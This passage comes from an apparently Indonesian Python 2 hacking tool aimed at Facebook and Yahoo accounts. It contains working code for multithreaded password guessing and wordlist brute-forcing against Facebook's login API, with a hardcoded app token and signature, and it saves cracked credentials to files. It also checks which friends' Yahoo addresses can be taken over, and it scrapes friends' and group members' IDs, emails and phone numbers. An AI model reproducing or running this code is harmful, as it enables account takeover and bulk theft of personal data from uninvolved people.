'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 633 | q = json.load(data) 634 | if 'access_token' in q: 635 | print '\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + user + ' | ' + pass4 636 | else: 637 | if 'www.facebook.com' in q['error_msg']: 638 | print '\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + user + ' | ' + pass4 639 | except: 640 | pass 641 | 642 | p = ThreadPool(30) 643 | p.map(main, id) 644 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 645 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 646 | super() 647 | 648 | 649 | def brute(): 650 | os.system('clear') 651 | try: 652 | toket = open('login.txt', 'r').read() 653 | except IOError: 654 | print '\x1b[1;91m[!] Token tidak ditemukan' 655 | os.system('rm -rf login.txt') 656 | time.sleep(1) 657 | login() 658 | else: 659 | os.system('clear') 660 | print logo 661 | print 40 * '\x1b[1;97m\xe2\x95\x90' 662 | try: 663 | email = raw_input('\x1b[1;91m[+] \x1b[1;92mID\x1b[1;97m/\x1b[1;92mEmail\x1b[1;97m/\x1b[1;92mHp \x1b[1;97mTarget \x1b[1;91m:\x1b[1;97m ') 664 | passw = raw_input('\x1b[1;91m[+] \x1b[1;92mWordlist \x1b[1;97mext(list.txt) \x1b[1;91m: \x1b[1;97m') 665 | total = open(passw, 'r') 666 | total = total.readlines() 667 | print 40 * '\x1b[1;97m\xe2\x95\x90' 668 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mTarget \x1b[1;91m:\x1b[1;97m ' + email 669 | print '\x1b[1;91m[+] \x1b[1;92mJumlah\x1b[1;96m ' + str(len(total)) + ' \x1b[1;92mPassword' 670 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 671 | sandi = open(passw, 'r') 672 | for pw in sandi: 673 | try: 674 | pw = pw.replace('\n', '') 675 | sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mMencoba \x1b[1;97m' + pw) 676 | sys.stdout.flush() 677 | data = requests.get('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + email + '&locale=en_US&password=' + pw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 678 | mpsh = json.loads(data.text) 679 | if 'access_token' in mpsh: 680 | dapat = open('Brute.txt', 'w') 681 | dapat.write(email + ' | ' + pw + '\n') 682 | dapat.close() 683 | print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' 684 | print 40 * '\x1b[1;97m\xe2\x95\x90' 685 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email 686 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw 687 | keluar() 688 | else: 689 | if 'www.facebook.com' in mpsh['error_msg']: 690 | ceks = open('Brutecekpoint.txt', 'w') 691 | ceks.write(email + ' | ' + pw + '\n') 692 | ceks.close() 693 | print '\n\x1b[1;91m[+] \x1b[1;92mDitemukan.' 694 | print 40 * '\x1b[1;97m\xe2\x95\x90' 695 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 696 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername \x1b[1;91m:\x1b[1;97m ' + email 697 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword \x1b[1;91m:\x1b[1;97m ' + pw 698 | keluar() 699 | except requests.exceptions.ConnectionError: 700 | print '\x1b[1;91m[!] Koneksi Error' 701 | time.sleep(1) 702 | 703 | except IOError: 704 | print '\x1b[1;91m[!] File tidak ditemukan...' 705 | print '\n\x1b[1;91m[!] \x1b[1;92mSepertinya kamu tidak memiliki wordlist' 706 | tanyaw() 707 | 708 | 709 | def tanyaw(): 710 | why = raw_input('\x1b[1;91m[?] \x1b[1;92mIngin membuat wordlist ? \x1b[1;92m[y/t]\x1b[1;91m:\x1b[1;97m ') 711 | if why == '': 712 | print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' 713 | tanyaw() 714 | else: 715 | if why == 'y': 716 | wordlist() 717 | else: 718 | if why == 'Y': 719 | wordlist() 720 | else: 721 | if why == 't': 722 | menu_hack() 723 | else: 724 | if why == 'T': 725 | menu_hack() 726 | else: 727 | print '\x1b[1;91m[!] Tolong pilih \x1b[1;97m(y/t)' 728 | tanyaw() 729 | 730 | 731 | def menu_yahoo(): 732 | os.system('clear') 733 | try: 734 | toket = open('login.txt', 'r').read() 735 | except IOError: 736 | print '\x1b[1;91m[!] Token tidak ditemukan' 737 | os.system('rm -rf login.txt') 738 | time.sleep(1) 739 | login() 740 | 741 | os.system('clear') 742 | print logo 743 | print 40 * '\x1b[1;97m\xe2\x95\x90' 744 | print '\x1b[1;37;40m1. Dari teman facebook' 745 | print '\x1b[1;37;40m2. Gunakan File' 746 | print '\x1b[1;31;40m0. Kembali' 747 | print 748 | yahoo_pilih() 749 | 750 | 751 | def yahoo_pilih(): 752 | go = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 753 | if go == '': 754 | print '\x1b[1;91m[!] Jangan kosong' 755 | yahoo_pilih() 756 | else: 757 | if go == '1': 758 | yahoofriends() 759 | else: 760 | if go == '2': 761 | yahoolist() 762 | else: 763 | if go == '0': 764 | menu_hack() 765 | else: 766 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + go + ' \x1b[1;91mTidak ada' 767 | yahoo_pilih() 768 | 769 | 770 | def yahoofriends(): 771 | os.system('clear') 772 | try: 773 | toket = open('login.txt', 'r').read() 774 | except IOError: 775 | print '\x1b[1;91m[!] Token tidak ditemukan' 776 | os.system('rm -rf login.txt') 777 | time.sleep(1) 778 | login() 779 | 780 | os.system('clear') 781 | print logo 782 | print 40 * '\x1b[1;97m\xe2\x95\x90' 783 | mpsh = [] 784 | jml = 0 785 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 786 | teman = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 787 | kimak = json.loads(teman.text) 788 | save = open('MailVuln.txt', 'w') 789 | print 40 * '\x1b[1;97m\xe2\x95\x90' 790 | for w in kimak['data']: 791 | jml += 1 792 | mpsh.append(jml) 793 | id = w['id'] 794 | nama = w['name'] 795 | links = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) 796 | z = json.loads(links.text) 797 | try: 798 | mail = z['email'] 799 | yahoo = re.compile('@.*') 800 | otw = yahoo.search(mail).group() 801 | if 'yahoo.com' in otw: 802 | br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') 803 | br._factory.is_html = True 804 | br.select_form(nr=0) 805 | br['username'] = mail 806 | klik = br.submit().read() 807 | jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') 808 | try: 809 | pek = jok.search(klik).group() 810 | except: 811 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' 812 | continue 813 | 814 | if '"messages.ERROR_INVALID_USERNAME">' in pek: 815 | save.write(mail + '\n') 816 | print 40 * '\x1b[1;97m\xe2\x95\x90' 817 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + nama 818 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + id 819 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;97m ' + mail + ' [\x1b[1;92m' + vuln + '\x1b[1;97m]' 820 | print 40 * '\x1b[1;97m\xe2\x95\x90' 821 | else: 822 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;92mEmail \x1b[1;91m:\x1b[1;91m ' + mail + ' \x1b[1;97m[\x1b[1;92m' + vulnot + '\x1b[1;97m]' 823 | except KeyError: 824 | pass 825 | 826 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 827 | print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' 828 | save.close() 829 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 830 | menu_yahoo() 831 | 832 | 833 | def yahoolist(): 834 | os.system('clear') 835 | try: 836 | toket = open('login.txt', 'r').read() 837 | except IOError: 838 | print '\x1b[1;91m[!] Token tidak ditemukan' 839 | os.system('rm -rf login.txt') 840 | time.sleep(1) 841 | login() 842 | else: 843 | os.system('clear') 844 | print logo 845 | print 40 * '\x1b[1;97m\xe2\x95\x90' 846 | files = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m: \x1b[1;97m') 847 | try: 848 | total = open(files, 'r') 849 | mail = total.readlines() 850 | except IOError: 851 | print '\x1b[1;91m[!] File tidak ada' 852 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 853 | menu_yahoo() 854 | 855 | mpsh = [] 856 | jml = 0 857 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 858 | save = open('MailVuln.txt', 'w') 859 | print 40 * '\x1b[1;97m\xe2\x95\x90' 860 | print '\x1b[1;91m[?] \x1b[1;97mStatus \x1b[1;91m: \x1b[1;97mRed[\x1b[1;92m' + vulnot + '\x1b[1;97m] Green[\x1b[1;92m' + vuln + '\x1b[1;97m]' 861 | print 862 | mail = open(files, 'r').readlines() 863 | for pw in mail: 864 | mail = pw.replace('\n', '') 865 | jml += 1 866 | mpsh.append(jml) 867 | yahoo = re.compile('@.*') 868 | otw = yahoo.search(mail).group() 869 | if 'yahoo.com' in otw: 870 | br.open('https://login.yahoo.com/config/login?.src=fpctx&.intl=id&.lang=id-ID&.done=https://id.yahoo.com') 871 | br._factory.is_html = True 872 | br.select_form(nr=0) 873 | br['username'] = mail 874 | klik = br.submit().read() 875 | jok = re.compile('"messages.ERROR_INVALID_USERNAME">.*') 876 | try: 877 | pek = jok.search(klik).group() 878 | except: 879 | print '\x1b[1;91m ' + mail 880 | continue 881 | 882 | if '"messages.ERROR_INVALID_USERNAME">' in pek: 883 | save.write(mail + '\n') 884 | print '\x1b[1;92m ' + mail 885 | else: 886 | print '\x1b[1;91m ' + mail 887 | 888 | print '\n\x1b[1;91m[+] \x1b[1;97mSelesai' 889 | print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m:\x1b[1;97m MailVuln.txt' 890 | save.close() 891 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 892 | menu_yahoo() 893 | 894 | 895 | def grab(): 896 | os.system('clear') 897 | try: 898 | toket = open('login.txt', 'r').read() 899 | except IOError: 900 | print '\x1b[1;91m[!] Token tidak ditemukan' 901 | os.system('rm -rf login.txt') 902 | time.sleep(1) 903 | login() 904 | 905 | os.system('clear') 906 | print logo 907 | print 40 * '\x1b[1;97m\xe2\x95\x90' 908 | print '\x1b[1;37;40m1. Ambil ID teman' 909 | print '\x1b[1;37;40m2. Ambil ID teman dari teman' 910 | print '\x1b[1;37;40m3. Ambil ID member GRUP' 911 | print '\x1b[1;37;40m4. Ambil Email teman' 912 | print '\x1b[1;37;40m5. Ambil Email teman dari teman' 913 | print '\x1b[1;37;40m6. Ambil No HP teman' 914 | print '\x1b[1;37;40m7. Ambil No HP teman dari teman' 915 | print '\x1b[1;31;40m0. Kembali' 916 | print 917 | grab_pilih() 918 | 919 | 920 | def grab_pilih(): 921 | cuih = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 922 | if cuih == '': 923 | print '\x1b[1;91m[!] Jangan kosong' 924 | grab_pilih() 925 | else: 926 | if cuih == '1': 927 | id_teman() 928 | else: 929 | if cuih == '2': 930 | idfrom_teman() 931 | else: 932 | if cuih == '3': 933 | id_member_grup() 934 | else: 935 | if cuih == '4': 936 | email() 937 | else: 938 | if cuih == '5': 939 | emailfrom_teman() 940 | else: 941 | if cuih == '6': 942 | nomor_hp() 943 | else: 944 | if cuih == '7': 945 | hpfrom_teman() 946 | else: 947 | if cuih == '0': 948 | menu_hack() 949 | else: 950 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + cuih + ' \x1b[1;91mTidak ada' 951 | grab_pilih() 952 | 953 | 954 | def id_teman(): 955 | os.system('clear') 956 | try: 957 | toket = open('login.txt', 'r').read() 958 | except IOError: 959 | print '\x1b[1;91m[!] Token tidak ditemukan' 960 | os.system('rm -rf login.txt') 961 | time.sleep(1) 962 | login() 963 | else: 964 | try: 965 | os.system('clear') 966 | print logo 967 | print 40 * '\x1b[1;97m\xe2\x95\x90' 968 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 969 | z = json.loads(r.text) 970 | save_id = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 971 | bz = open(save_id, 'w') 972 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 973 | print 40 * '\x1b[1;97m\xe2\x95\x90' 974 | for ah in z['data']: 975 | idteman.append(ah['id']) 976 | bz.write(ah['id'] + '\n') 977 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] 978 | print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] 979 | print 40 * '\x1b[1;97m\xe2\x95\x90' 980 | 981 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idteman) 982 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_id 983 | bz.close() 984 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 985 | grab() 986 | except IOError: 987 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 988 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 989 | grab() 990 | except (KeyboardInterrupt, EOFError): 991 | print '\x1b[1;91m[!] Terhenti' 992 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 993 | grab() 994 | except KeyError: 995 | os.remove(save_id) 996 | print '\x1b[1;91m[!] Kesalahan terjadi' 997 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 998 | grab() 999 | except requests.exceptions.ConnectionError: 1000 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1001 | keluar() 1002 | 1003 | 1004 | def idfrom_teman(): 1005 | os.system('clear') 1006 | try: 1007 | toket = open('login.txt', 'r').read() 1008 | except IOError: 1009 | print '\x1b[1;91m[!] Token tidak ditemukan' 1010 | os.system('rm -rf login.txt') 1011 | time.sleep(1) 1012 | login() 1013 | else: 1014 | try: 1015 | os.system('clear') 1016 | print logo 1017 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1018 | idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') 1019 | try: 1020 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 1021 | op = json.loads(jok.text) 1022 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] 1023 | except KeyError: 1024 | print '\x1b[1;91m[!] Belum berteman' 1025 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1026 | grab() 1027 | 1028 | r = requests.get('https://graph.facebook.com/' + idt + '?fields=friends.limit(5000)&access_token=' + toket) 1029 | z = json.loads(r.text) 1030 | save_idt = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1031 | bz = open(save_idt, 'w') 1032 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1033 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1034 | for ah in z['friends']['data']: 1035 | idfromteman.append(ah['id']) 1036 | bz.write(ah['id'] + '\n') 1037 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + ah['name'] 1038 | print '\x1b[1;92mID \x1b[1;91m : \x1b[1;97m' + ah['id'] 1039 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1040 | 1041 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idfromteman) 1042 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + save_idt 1043 | bz.close() 1044 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1045 | grab() 1046 | except IOError: 1047 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1048 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1049 | grab() 1050 | except (KeyboardInterrupt, EOFError): 1051 | print '\x1b[1;91m[!] Terhenti' 1052 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1053 | grab() 1054 | except requests.exceptions.ConnectionError: 1055 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1056 | keluar() 1057 | 1058 | 1059 | def id_member_grup(): 1060 | os.system('clear') 1061 | try: 1062 | toket = open('login.txt', 'r').read() 1063 | except IOError: 1064 | print '\x1b[1;91m[!] Token tidak ditemukan' 1065 | os.system('rm -rf login.txt') 1066 | time.sleep(1) 1067 | login() 1068 | else: 1069 | try: 1070 | os.system('clear') 1071 | print logo 1072 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1073 | id = raw_input('\x1b[1;91m[+] \x1b[1;92mID grup \x1b[1;91m:\x1b[1;97m ') 1074 | try: 1075 | r = requests.get('https://graph.facebook.com/group/?id=' + id + '&access_token=' + toket) 1076 | asw = json.loads(r.text) 1077 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] 1078 | except KeyError: 1079 | print '\x1b[1;91m[!] Grup tidak ditemukan' 1080 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1081 | grab() 1082 | 1083 | simg = raw_input('\x1b[1;91m[+] \x1b[1;97mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1084 | b = open(simg, 'w') 1085 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1086 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1087 | re = requests.get('https://graph.facebook.com/' + id + '/members?fields=name,id&access_token=' + toket) 1088 | s = json.loads(re.text) 1089 | for i in s['data']: 1090 | idmem.append(i['id']) 1091 | b.write(i['id'] + '\n') 1092 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + i['name'] 1093 | print '\x1b[1;92mID \x1b[1;91m :\x1b[1;97m ' + i['id'] 1094 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1095 | 1096 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah ID \x1b[1;96m%s' % len(idmem) 1097 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + simg 1098 | b.close() 1099 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1100 | grab() 1101 | except IOError: 1102 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1103 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1104 | grab() 1105 | except (KeyboardInterrupt, EOFError): 1106 | print '\x1b[1;91m[!] Terhenti' 1107 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1108 | grab() 1109 | except KeyError: 1110 | os.remove(simg) 1111 | print '\x1b[1;91m[!] Grup tidak ditemukan' 1112 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1113 | grab() 1114 | except requests.exceptions.ConnectionError: 1115 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1116 | keluar() 1117 | 1118 | 1119 | def email(): 1120 | os.system('clear') 1121 | try: 1122 | toket = open('login.txt', 'r').read() 1123 | except IOError: 1124 | print '\x1b[1;91m[!] Token tidak ditemukan' 1125 | os.system('rm -rf login.txt') 1126 | time.sleep(1) 1127 | login() 1128 | else: 1129 | try: 1130 | os.system('clear') 1131 | print logo 1132 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1133 | mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1134 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 1135 | a = json.loads(r.text) 1136 | mpsh = open(mails, 'w') 1137 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1138 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1139 | for i in a['data']: 1140 | x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) 1141 | z = json.loads(x.text) 1142 | try: 1143 | em.append(z['email']) 1144 | mpsh.write(z['email'] + '\n') 1145 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] 1146 | print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] 1147 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1148 | except KeyError: 1149 | pass 1150 | 1151 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(em) 1152 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails 1153 | mpsh.close() 1154 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1155 | grab() 1156 | except IOError: 1157 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1158 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1159 | grab() 1160 | except (KeyboardInterrupt, EOFError): 1161 | print '\x1b[1;91m[!] Terhenti' 1162 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1163 | grab() 1164 | except KeyError: 1165 | os.remove(mails) 1166 | print '\x1b[1;91m[!] Kesalahan terjadi' 1167 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1168 | grab() 1169 | except requests.exceptions.ConnectionError: 1170 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1171 | keluar() 1172 | 1173 | 1174 | def emailfrom_teman(): 1175 | os.system('clear') 1176 | try: 1177 | toket = open('login.txt', 'r').read() 1178 | except IOError: 1179 | print '\x1b[1;91m[!] Token tidak ditemukan' 1180 | os.system('rm -rf login.txt') 1181 | time.sleep(1) 1182 | login() 1183 | else: 1184 | try: 1185 | os.system('clear') 1186 | print logo 1187 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1188 | idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') 1189 | try: 1190 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 1191 | op = json.loads(jok.text) 1192 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] 1193 | except KeyError: 1194 | print '\x1b[1;91m[!] Belum berteman' 1195 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1196 | grab() 1197 | 1198 | mails = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1199 | r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) 1200 | a = json.loads(r.text) 1201 | mpsh = open(mails, 'w') 1202 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1203 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1204 | for i in a['data']: 1205 | x = requests.get('https://graph.facebook.com/' + i['id'] + '?access_token=' + toket) 1206 | z = json.loads(x.text) 1207 | try: 1208 | emfromteman.append(z['email']) 1209 | mpsh.write(z['email'] + '\n') 1210 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] 1211 | print '\x1b[1;92mEmail\x1b[1;91m : \x1b[1;97m' + z['email'] 1212 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1213 | except KeyError: 1214 | pass 1215 | 1216 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Email\x1b[1;96m%s' % len(emfromteman) 1217 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + mails 1218 | mpsh.close() 1219 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1220 | grab() 1221 | except IOError: 1222 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1223 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1224 | grab() 1225 | except (KeyboardInterrupt, EOFError): 1226 | print '\x1b[1;91m[!] Terhenti' 1227 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1228 | grab() 1229 | except requests.exceptions.ConnectionError: 1230 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1231 | keluar() 1232 | 1233 | 1234 | def nomor_hp(): 1235 | os.system('clear') 1236 | try: 1237 | toket = open('login.txt', 'r').read() 1238 | except IOError: 1239 | print '\x1b[1;91m[!] Token tidak ditemukan' 1240 | os.system('rm -rf login.txt') 1241 | time.sleep(1) 1242 | login() 1243 | else: 1244 | try: 1245 | os.system('clear') 1246 | print logo 1247 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1248 | noms = raw_input('\x1b[1;91m[+] \x1b[1;92mSimpan File \x1b[1;97mext(file.txt) \x1b[1;91m: \x1b[1;97m') 1249 | url = 'https://graph.facebook.com/me/friends?access_token=' + toket 1250 | r = requests.get(url) 1251 | z = json.loads(r.text) 1252 | no = open(noms, 'w') 1253 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 1254 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1255 | for n in z['data']: 1256 | x = requests.get('https://graph.facebook.com/' + n['id'] + '?access_token=' + toket) 1257 | z = json.loads(x.text) 1258 | try: 1259 | hp.append(z['mobile_phone']) 1260 | no.write(z['mobile_phone'] + '\n') 1261 | print '\r\x1b[1;92mNama\x1b[1;91m :\x1b[1;97m ' + z['name'] 1262 | print '\x1b[1;92mNomor\x1b[1;91m : \x1b[1;97m' + z['mobile_phone'] 1263 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1264 | except KeyError: 1265 | pass 1266 | 1267 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Nomor\x1b[1;96m%s' % len(hp) 1268 | print '\x1b[1;91m[+] \x1b[1;97mFile tersimpan \x1b[1;91m: \x1b[1;97m' + noms 1269 | no.close() 1270 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1271 | grab() 1272 | except IOError: 1273 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 1274 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1275 | grab() 1276 | except (KeyboardInterrupt, EOFError): 1277 | print '\x1b[1;91m[!] Terhenti' 1278 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1279 | grab() 1280 | except KeyError: 1281 | os.remove(noms) 1282 | print '\x1b[1;91m[!] Kesalahan terjadi' 1283 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1284 | grab() 1285 | except requests.exceptions.ConnectionError: 1286 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 1287 | keluar() 1288 | 1289 | 1290 | def hpfrom_teman(): 1291 | os.system('clear') 1292 | try: 1293 | toket = open('login.txt', 'r').read() 1294 | except IOError: 1295 | print '\x1b[1;91m[!] Token tidak ditemukan' 1296 | os.system('rm -rf login.txt') 1297 | time.sleep(1) 1298 | login() 1299 | else: 1300 | try: 1301 | os.system('clear') 1302 | print logo 1303 | print 40 * '\x1b[1;97m\xe2\x95\x90' 1304 | idt = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID Teman \x1b[1;91m: \x1b[1;97m') 1305 | try: 1306 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 1307 | op = json.loads(jok.text) 1308 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mFrom\x1b[1;91m :\x1b[1;97m ' + op['name'] 1309 | except KeyError: 1310 | print '\x1b[1;91m[!] Belum berteman' 1311 | 